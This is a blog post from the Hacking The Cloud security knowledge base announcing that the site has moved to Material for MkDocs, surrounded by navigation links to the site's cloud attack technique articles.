class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6 checked> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=true> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=./ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#why-the-change class=md-nav__link> <span class=md-ellipsis> Why the Change? </span> </a> </li> <li class=md-nav__item> <a href=#why-material-for-mkdocs class=md-nav__link> <span class=md-ellipsis> Why Material for MkDocs? </span> </a> </li> <li class=md-nav__item> <a href=#what-does-this-mean-for-you class=md-nav__link> <span class=md-ellipsis> What Does This Mean for You? </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/blog/v2_new_look.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Hacking The Cloud v2: New Look</h1> <aside style=display:flex> <p><a class=glightbox href="https://avatars.githubusercontent.com/u/10386884?v=4" data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src="https://avatars.githubusercontent.com/u/10386884?v=4" style=width:44px;height:44px;margin:5px;border-radius:100%></a></p> <p><span><strong>Nick Frichette</strong> · @frichette_n · <a href=https://twitter.com/Frichette_n><span class="twemoji twitter"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg></span></a></span> <br> <span> <span class=twemoji><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M6.75 0a.75.75 0 0 1 .75.75V3h9V.75a.75.75 0 0 1 1.5 0V3h2.75c.966 0 1.75.784 1.75 1.75v16a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75v-16C1.5 3.784 2.284 3 3.25 3H6V.75A.75.75 0 0 1 6.75 0M21 9.5H3v11.25c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25Zm-17.75-5a.25.25 0 0 0-.25.25V8h18V4.75a.25.25 0 0 0-.25-.25Z"/></svg></span> December 6, 2021 </span></p> </aside> <hr> <p>Whoa! Things look a little different? You're not imagining it.</p> <figure> <p><a class=glightbox href=../../images/blog/v2_new_look/old_look.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="The old look" loading=lazy src=../../images/blog/v2_new_look/old_look.png></a> </p> <figcaption>The old look.</figcaption> </figure> <p>Hacking The Cloud now uses <a href=https://squidfunk.github.io/mkdocs-material/ >Material for MkDocs</a> to render the beautiful HTML you see before you.</p> <h2 id=why-the-change>Why the Change?<a class=headerlink href=#why-the-change title="Permanent link">&para;</a></h2> <p>When Hacking The Cloud was first started in mid-2020, I was primarily focused on getting the project off the ground and wasn't particularly interested in the formatting or appearance. This resulted in the choice to use a familiar technology (<a href=https://gohugo.io/ >Hugo</a>) and finding a freely available theme for it (<a href=https://github.com/zzossig/hugo-theme-zdoc>zDoc</a>).</p> <p>This helped get the project up and running quickly and allowed me to work on getting the first few pages created. Over time, however, small changes were need. Increased font size, changes to the navigation layout, CSS tweaks, etc. Recently more time has been spent making sure things looked okay rather than actually creating content.</p> <p><strong>To be clear, the zDoc theme is excellent</strong>, there were just some changes needed that made the theme difficult to use for our purposes. These needs, combined with the appearance that the theme is no longer actively maintained, had caused me to look for something different.</p> <h2 id=why-material-for-mkdocs>Why Material for MkDocs?<a class=headerlink href=#why-material-for-mkdocs title="Permanent link">&para;</a></h2> <p>For the past several months I've been looking for a suitable replacement. My list of requirements was high. Additionally, I was looking for something simple, easy to use, and wouldn't have me constantly thinking, "does this look okay on mobile?".</p> <p>By pure luck, I found what I was looking for. <a href=https://twitter.com/kmcquade3>Kinnaird McQuade</a> happened to <a href=https://twitter.com/kmcquade3/status/1465024645409738760>retweet</a> an announcement from the Material for MkDocs project, and I was hooked. It looked great, supported Markdown, had admonitions, code blocks, produced static HTML, client-side search, and just about everything else I was looking for. </p> <p>More than that, it's fun and easy to work with.</p> <p>If you'd like to support Material for MkDocs you can join me in <a href=https://squidfunk.github.io/mkdocs-material/insiders/#how-to-become-a-sponsor>sponsoring</a> the project.</p> <h2 id=what-does-this-mean-for-you>What Does This Mean for You?<a class=headerlink href=#what-does-this-mean-for-you title="Permanent link">&para;</a></h2> <p>Honestly, not a whole lot. Hacking the Cloud will now look a lot better on desktop and mobile. This will free up time and resources to focus on what actually matters, the content.</p> <p>For folks interested in contributing, you are only a <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/pulls>pull request</a> away! Our <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud#contributing>contributing guide</a> has everything you need to get up and running. If you have any questions or ideas feel free to start a conversation on our <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/discussions>discussions</a> page.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 1, 2021</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 